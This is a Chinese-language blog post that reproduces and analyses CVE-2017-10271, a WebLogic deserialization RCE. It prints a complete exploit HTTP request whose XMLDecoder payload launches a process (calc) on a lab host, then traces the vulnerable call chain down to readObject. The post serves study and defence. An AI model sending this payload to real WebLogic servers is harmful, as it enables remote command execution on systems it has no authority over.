Weblogic Rce CVE-2017-10271 Rce 简单复现&分析
0x01 前言
分析过了XmlDecoder之后,继续分析一下又XmlDecoder引发的WeblogicRce这个漏洞案例。
0x02 环境搭建
下载并安装weblogic,安装完后并启动。若需要调试,则按照这篇博客WebLogic-动态调试环境搭建,我这里直接选择搭建
0x03 漏洞复现
poc参考vulhub,以下是我改造的简单弹计算器,但在真实情况下,可能有回显的需求等等,建议网上招poc
POST //wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.52.3:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 564
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
0x04 漏洞分析
在weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class的processRequest处下断点
从xml中的header取出来,然后传入this.readHeaderOld当中
取出来的header中的字符串在WorkContextXmlInputAdapter进行反序列化操作
将header中的内容自己流传入XMLDecoder中进行初始化操作,跳出到上一层并,跟进this.receive
调用链层次较多,直接复制了整个调用链过程
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
截图一个readUTF方法,可以看到直接嗲用xmlDecoder.readObject()方法进行反序列化
即我们直接写入xmldecoder rce的poc便可以执行命令。